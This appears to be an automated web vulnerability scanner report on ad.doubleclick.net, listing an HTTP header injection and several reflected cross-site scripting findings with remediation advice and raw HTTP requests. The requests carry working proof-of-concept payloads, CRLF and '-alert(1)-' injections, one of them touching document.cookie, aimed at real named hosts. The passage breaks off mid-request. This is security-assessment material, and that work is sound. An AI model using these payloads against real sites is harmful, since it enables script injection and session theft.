The value of REST URL parameter 1 is copied into the Location response header. The payload 3e047%0d%0a6e297c75673 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Issue background
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
Request
GET /crossdomain.xml3e047%0d%0a6e297c75673 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ll.static.abc.com/media/_global/player/player1.42.13/flash/SFP_Locke.swf?v1.42.13 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/crossdomain.xml3e047 6e297c75673: Date: Wed, 26 Jan 2011 15:34:13 GMT Server: GFE/2.0
<h1>Error 302 Moved Temporarily</h1>
2. Cross-site scripting (reflected)previousnext There are 36 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the campID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da3b1"-alert(1)-"9473dc5fef8 was submitted in the campID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521da3b1"-alert(1)-"9473dc5fef8&crID=77387&pubICode=1662910&pub=214827&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:14 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32895
The value of the campID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d0cff'-alert(1)-'f86d53ff49d was submitted in the campID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521d0cff'-alert(1)-'f86d53ff49d&crID=77387&pubICode=1662910&pub=214827&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:18 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32895
The value of the crID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c868'-alert(1)-'0181a33617 was submitted in the crID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=773873c868'-alert(1)-'0181a33617&pubICode=1662910&pub=214827&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:34 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32892
The value of the crID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5c9c4"-alert(1)-"68059645c68 was submitted in the crID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=773875c9c4"-alert(1)-"68059645c68&pubICode=1662910&pub=214827&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:31 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32875
The value of the partnerID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a6c99"-alert(1)-"e37c0eeeab2 was submitted in the partnerID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=77387&pubICode=1662910&pub=214827&partnerID=9a6c99"-alert(1)-"e37c0eeeab2&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:11:23 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32875
The value of the partnerID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload abc4e'-alert(1)-'011fd6de3fb was submitted in the partnerID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=77387&pubICode=1662910&pub=214827&partnerID=9abc4e'-alert(1)-'011fd6de3fb&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:11:27 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32875
The value of the pub request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c4d89"-alert(1)-"6e017a9e08c was submitted in the pub parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=77387&pubICode=1662910&pub=214827c4d89"-alert(1)-"6e017a9e08c&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:11:06 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32895
The value of the pub request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a7dd6'-alert(1)-'0633f033ba1 was submitted in the pub parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=77387&pubICode=1662910&pub=214827a7dd6'-alert(1)-'0633f033ba1&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:11:09 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32875
The value of the pubICode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f93e0"-alert(1)-"8592fddee19 was submitted in the pubICode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=77387&pubICode=1662910f93e0"-alert(1)-"8592fddee19&pub=214827&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:48 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32895
The value of the pubICode request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c7212'-alert(1)-'93960ad6014 was submitted in the pubICode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=77387&pubICode=1662910c7212'-alert(1)-'93960ad6014&pub=214827&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: 